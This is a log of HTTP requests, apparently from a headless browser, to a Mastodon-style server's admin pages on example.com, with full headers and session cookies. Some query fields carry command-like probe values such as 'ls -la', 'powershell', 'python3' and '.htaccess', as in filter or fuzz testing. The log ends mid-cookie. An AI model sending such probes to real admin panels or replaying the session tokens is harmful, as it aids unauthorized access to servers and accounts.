{"method": "GET", "target": "/admin/accounts?origin=local&status=active&username=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDcuMDg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b57def8fb2cbcda1094071ffca75c92d594a8143; _mastodon_session=jCvNig51jRYcPdFycizHSJU2j2xPOf5eIcaTgmcMggeLgRtVV35HLRiV%2Bgp2v9RrkKSdKFU2YW%2Fvol0iiNkKXlSTNVikMQ1aqgpHsFp9u36TlQ7nTMdyNCF9tZQuaLStCNlZY529TUm6BidXbIHzkxqs69jwfvIxiKXED4UX4vygCQzneMw%2BihSfR0OHnrmYR1LskBQVLmrerk8Xi2MKTN5wJYlK4My%2F5JHjWGSEXmS%2FLPVq2CXcjN0f80AKg55FQEoekpgYsPqUIK%2BLlFYIuRB2eDh8Sustyg%2FCID0UULx1BxJeJ36OKVb1r9gPrsHzqSwO5R6WmzIRVGcWytCbtWJ3jdF5tRjjrcmPDGnaLYHgJImO0XSzChs9eMfh%2BA6TIPYiQmYiVjzt--rlkc4UdDJScH3PCb--wQ5cFIgkqaejc35lfYn7lQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/axios-0On1V31i.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/accounts?origin=local&status=active&username=python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDkuOTI5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--28817c8cccecab54ff3dd0ca359489e9721023de; _mastodon_session=UUkQGiOmzI2wyKEIFqFrnJSuvIWAx78iv6%2F%2B%2F6tFm%2FOn8sGeOTgTbNb5b0FO4HA3KblOcoxahifcm2sA5C4p2RA1n8aGGqU3pPVqIgqdLmPloNJ6c4Z1O%2BWBZ6nwm1WLKxsOZvD3%2BtPCxRUrwODm1BC1RXwYoHoiWstDE%2B5F27ShMVeJKL5SVG5ft34z8LwVtBj9sB3qIW93f3aJYiJgYgZRK%2BVSNx8Ch%2BeP2fHtmVTP8o4MjZevSaepcoK8af4QNQFz1mKehSXTiHy7oaxWrb6qWLT4vsT%2FMuv4S9dFnr39xQv3z0w%2B8uC1fFtiGJKLeAG%2FqlxrgnIv9bmXRUlYoVuzgFEDPzvTh1jIM5caR15%2FrfqfzitiaEw8Skt2E1WZlJpcpkxdFeV0--LnzBsGuJl8j%2FX23E--QPByYqL93VBeBxZhDIMO%2FQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/accounts?display_name=powershell&email=ls%20-la&ip=192.0.2.1", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDkuOTI5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--28817c8cccecab54ff3dd0ca359489e9721023de; _mastodon_session=UUkQGiOmzI2wyKEIFqFrnJSuvIWAx78iv6%2F%2B%2F6tFm%2FOn8sGeOTgTbNb5b0FO4HA3KblOcoxahifcm2sA5C4p2RA1n8aGGqU3pPVqIgqdLmPloNJ6c4Z1O%2BWBZ6nwm1WLKxsOZvD3%2BtPCxRUrwODm1BC1RXwYoHoiWstDE%2B5F27ShMVeJKL5SVG5ft34z8LwVtBj9sB3qIW93f3aJYiJgYgZRK%2BVSNx8Ch%2BeP2fHtmVTP8o4MjZevSaepcoK8af4QNQFz1mKehSXTiHy7oaxWrb6qWLT4vsT%2FMuv4S9dFnr39xQv3z0w%2B8uC1fFtiGJKLeAG%2FqlxrgnIv9bmXRUlYoVuzgFEDPzvTh1jIM5caR15%2FrfqfzitiaEw8Skt2E1WZlJpcpkxdFeV0--LnzBsGuJl8j%2FX23E--QPByYqL93VBeBxZhDIMO%2FQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/accounts?username=.htaccess&by_domain=remote.example", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NTIuNzUzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f3165159685a81238dab7e25fd566b1319792fee; _mastodon_session=3JEfYokBtI4wUHoWNEpBsjanaId7O6uHT6YjeDUWRAev1A9RrJ9RKGXOH64TEsd2c0%2F960Y7yobJE6Xtq5k2iotd38em68%2Fq3ho06pnAJi6w1idUi%2BTlIs4SvhOpkkJjCLAE%2F2Re1r5MIRJV7LBx7tgC9RayhCI92ISSkI3lxaFfU3%2FfWbecprcjq2VTSbGrlrPLA4H7A2P3km%2FCXdRbR06aJS%2FOsIyxnHysthULLyzCJI0OCm1%2Bk3NGAKRJb2eewAwZ3NQTLXCUKwAXienlF2DPh%2F8k6r66oJP9MW96phGBuRNANbAB%2F7V6p6fw4nVfx21tYjCwbFMPhwZqpgsHyQ27Ik0EExTzOle9S6bQEY7kYylg386Wx6m06ri3CdfjVdsah11%2FcirM--BTxolyS%2BRxMBSqlB--1VsNDdtd8jmhz9Iw%2BYm%2FhQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/locale-D-1rLaCQ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/accounts?username=.htaccess&by_domain=remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NTUuNjUzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b8c4a3a7fa5365f5fc33f5bbba66423def977d22; _mastodon_session=EogjCQ5IfKpW5NvCpt35ub0nui9mSl6DV5hCyXcdSDN1F%2BHJ6dCa%2F%2FtLi%2Fb4cCHF0mrbu6nvIchV1xF9XModmKn2WBJaDrCsFPSIIHBG5EwFzRNytAxNgQktRmAriRhY4oU9naCUte6rjGeMkK%2BNAyL7XT1XyazuLJCXCaMR92Xkdg4yW5K7RsD9SrCjGnKUE3m6wYuTX6aQCuwxGCgwAMRdH8%2BENb5d449Fp2yYruol%2BB7LOmNAlGhgSrZksts0rz01fR2bf0dPlqY1%2F2wCCVCfh2ZNWmk6vpb%2BYLwtmGNQTZHtzoHGpLWgF7xG1iDQo4BxXP%2BobhXsO94NXFWwU9w%2FFjvYZPYvx4xhOMxWb3xJv3gTDUMYSplvRtNHmE5BQ%2Bim2bNvE8BM--gNZoV5JsN2IgVHa8--%2FfAwncRWoQtV14Q7s4DtAQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/instances?by_domain=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NTUuNjUzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b8c4a3a7fa5365f5fc33f5bbba66423def977d22; _mastodon_session=EogjCQ5IfKpW5NvCpt35ub0nui9mSl6DV5hCyXcdSDN1F%2BHJ6dCa%2F%2FtLi%2Fb4cCHF0mrbu6nvIchV1xF9XModmKn2WBJaDrCsFPSIIHBG5EwFzRNytAxNgQktRmAriRhY4oU9naCUte6rjGeMkK%2BNAyL7XT1XyazuLJCXCaMR92Xkdg4yW5K7RsD9SrCjGnKUE3m6wYuTX6aQCuwxGCgwAMRdH8%2BENb5d449Fp2yYruol%2BB7LOmNAlGhgSrZksts0rz01fR2bf0dPlqY1%2F2wCCVCfh2ZNWmk6vpb%2BYLwtmGNQTZHtzoHGpLWgF7xG1iDQo4BxXP%2BobhXsO94NXFWwU9w%2FFjvYZPYvx4xhOMxWb3xJv3gTDUMYSplvRtNHmE5BQ%2Bim2bNvE8BM--gNZoV5JsN2IgVHa8--%2FfAwncRWoQtV14Q7s4DtAQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/typed_functions-Whap35TF.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/instances?by_domain=python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NTguNTYwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9b4495f142e6d2ee89d949184d854abfb09e3923; _mastodon_session=F0mpcYjHgTeplRWB1bhnVZFnlJjzxictFHSfVp3PLrWxB00cS9bTtUiQrRc%2BOhOmg6H4KGznuJKs3wuG1qILIfn715rmro7sjiVbOduiEX5WwI6OU%2FV1aALGZYdBPlGAT53WzoCE0at1uzHBoWHzMkZmhZEd4SNfhvozO1D4k1IbDww8kBf88A6g2Gj6z2MKYcXOMkGTR6%2FarBFZ36cEGCKr3%2BWgUpE6i4oKqfScT94bFFbsB13crO45es2jibHh0sspH2ArfME1CVSQmFDTqaBxM4t%2FXJ%2BFwuuDdrFswDur8%2FCzx05RCBub31zAj583goREm%2BmoHLBdx%2FAiAjeDXy2tcGYgVOGB0IvQG1ZUm6tmR%2B2UQXA2%2FkC%2FQkq67A2bFCxmYNqhums1--EMZbk7l6%2Fyc8Wg04--DSoFa%2Fhz7mIpO2bwpONmVA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/instances", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NTguNTYwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9b4495f142e6d2ee89d949184d854abfb09e3923; _mastodon_session=F0mpcYjHgTeplRWB1bhnVZFnlJjzxictFHSfVp3PLrWxB00cS9bTtUiQrRc%2BOhOmg6H4KGznuJKs3wuG1qILIfn715rmro7sjiVbOduiEX5WwI6OU%2FV1aALGZYdBPlGAT53WzoCE0at1uzHBoWHzMkZmhZEd4SNfhvozO1D4k1IbDww8kBf88A6g2Gj6z2MKYcXOMkGTR6%2FarBFZ36cEGCKr3%2BWgUpE6i4oKqfScT94bFFbsB13crO45es2jibHh0sspH2ArfME1CVSQmFDTqaBxM4t%2FXJ%2BFwuuDdrFswDur8%2FCzx05RCBub31zAj583goREm%2BmoHLBdx%2FAiAjeDXy2tcGYgVOGB0IvQG1ZUm6tmR%2B2UQXA2%2FkC%2FQkq67A2bFCxmYNqhums1--EMZbk7l6%2Fyc8Wg04--DSoFa%2Fhz7mIpO2bwpONmVA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/api-CGawW2vu.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/instances", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDEuMzg5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--80dce4e171b80ce0507000078d7bc66401dabb04; _mastodon_session=5uG1%2FMG520iXcXH7Q5NxmggpV%2FrIvaJLd%2BlVMdaI7q%2BlyopPOofRW1rzrqjiYJKoUMuNqrtrFNUOV1NTXSXrnsyEtVAfqOjLkNYCTFV05MZJvQzWXu1lJhm2GSwB67wJADula3AUF6J4BMI7gjY9o8%2BXiwsXETCAC3x%2Bftrk9fuMUPMu8c55gTHok1TpAVoD%2FD3ZzWUScq0wX3gfLMTAB4%2FkN%2BdX6kR2GTTJfHhCHevZSO%2FGlRzD96gO%2FNslrEPZQLqiAMTJ1L7p0lUIz0dCwnVq8lHIHpKVzyOGOdH15nQyL3OBSQhvr3fn2f5sSH8x%2BME26MKQyzTZqfdz46OtbKQ%2FSNBCfbi4cpiCFvvFMHBcIUVjYzgDnP9aE%2Bnbsq3atNy11LaTtq6%2F--MENt58uSSDDDCnVi--ZeYYKBPCfpR0hrM4nda5fA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/custom_emojis?shortcode=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDEuMzg5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--80dce4e171b80ce0507000078d7bc66401dabb04; _mastodon_session=5uG1%2FMG520iXcXH7Q5NxmggpV%2FrIvaJLd%2BlVMdaI7q%2BlyopPOofRW1rzrqjiYJKoUMuNqrtrFNUOV1NTXSXrnsyEtVAfqOjLkNYCTFV05MZJvQzWXu1lJhm2GSwB67wJADula3AUF6J4BMI7gjY9o8%2BXiwsXETCAC3x%2Bftrk9fuMUPMu8c55gTHok1TpAVoD%2FD3ZzWUScq0wX3gfLMTAB4%2FkN%2BdX6kR2GTTJfHhCHevZSO%2FGlRzD96gO%2FNslrEPZQLqiAMTJ1L7p0lUIz0dCwnVq8lHIHpKVzyOGOdH15nQyL3OBSQhvr3fn2f5sSH8x%2BME26MKQyzTZqfdz46OtbKQ%2FSNBCfbi4cpiCFvvFMHBcIUVjYzgDnP9aE%2Bnbsq3atNy11LaTtq6%2F--MENt58uSSDDDCnVi--ZeYYKBPCfpR0hrM4nda5fA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/isSymbol-3r8dk6Lb.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/custom_emojis?shortcode=python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDQuMjM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--5b201424771bcf4e883698520656bfcbf6c5f6d8; _mastodon_session=2ADdSofy1HIJOkaQYz2Cl7dzVcFAkWzm3cHp9QAoi%2F%2F%2B9P%2Be7nFUm0OZuZFiTrImoApvI6g7xdE6nTdxWT7%2BeAKgA%2BeitPaop1nGT2hDSUdtagj0j%2FpLH18ySaLcSGRXOxgSoAT%2FzCLUgv9n5IEZ4a6o%2Be8iVGrQ5TREP9GZiGDFZ7J7n1DBTNduUB5vtpHiatA6uQ5eT6GBYW1OFq5cZ7Bd6aKfrx%2B5SoEQ3M%2F%2B%2FLWkj8enjDG4Cpk09XPENyGSV83IsoTphnjuK0VbOFE4CJ2%2Bdd%2BKdPhVGde%2Bp0o%2BMz2GQ3bkQgurZuaO0PGzOp%2BEdQAUIXo6ui2f9Pvmf3R5b2RCn4hU51h0tw2TpPbAZUISYixRuPZ%2BoJ0TGO4m%2BdyJ7hrSfbTT%2BZUh--b6IyTX1QZVYMllHq--Ly4ZAZAWf8I5kahy7IALdA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/custom_emojis?by_domain=remote.example", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDQuMjM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--5b201424771bcf4e883698520656bfcbf6c5f6d8; _mastodon_session=2ADdSofy1HIJOkaQYz2Cl7dzVcFAkWzm3cHp9QAoi%2F%2F%2B9P%2Be7nFUm0OZuZFiTrImoApvI6g7xdE6nTdxWT7%2BeAKgA%2BeitPaop1nGT2hDSUdtagj0j%2FpLH18ySaLcSGRXOxgSoAT%2FzCLUgv9n5IEZ4a6o%2Be8iVGrQ5TREP9GZiGDFZ7J7n1DBTNduUB5vtpHiatA6uQ5eT6GBYW1OFq5cZ7Bd6aKfrx%2B5SoEQ3M%2F%2B%2FLWkj8enjDG4Cpk09XPENyGSV83IsoTphnjuK0VbOFE4CJ2%2Bdd%2BKdPhVGde%2Bp0o%2BMz2GQ3bkQgurZuaO0PGzOp%2BEdQAUIXo6ui2f9Pvmf3R5b2RCn4hU51h0tw2TpPbAZUISYixRuPZ%2BoJ0TGO4m%2BdyJ7hrSfbTT%2BZUh--b6IyTX1QZVYMllHq--Ly4ZAZAWf8I5kahy7IALdA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDcuMDk2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--86b084613ac132781b44303783eaa7301e7b20d8; _mastodon_session=F3ZYT%2BRSEL%2BSI6b8TyxkZknCePdBmJUKk%2Fv80NTQmR2XBT%2BcVwbPFnjDXIcnA5CBLXDbYNAUaZfBSYKte39SkKnGQGZUalS9iQnUU0j4PhGPhiLThmj%2Fnr1pZVilzV4iTXkiHnjlQ7aJWi1jr%2BWC7jsjaU%2Fuc0Uc4licwQoHYliZso4m5DPmXy9a1Jl7X33CrFVqI7Up%2BbdWSiQ1WK13ZpEsWlQ40h80X59bnlAkFEWnu%2BOqZ0OrWzCGGIAIXwQwNU2InHvdqKkFUTwUlXs6ozoe6R2PLMqhM0H2mzfmjmxHYNSU9X5%2FViy57BcBhxEZu69TjCKbXYyDeJqwK7daZe3aNuwB9kEj2EV6mKM064FF32S%2FE%2Fr6DQ48qutUH59YtMYahpr3rjxX--2kufuOWh92yTTykp--FA9erEuFBkcLi4XwjQvveQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/preload-helper-HclGiUj8.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/tags", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDkuOTIxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--02fd1120fad0c0d6068175ab96f5c42cb80999e0; 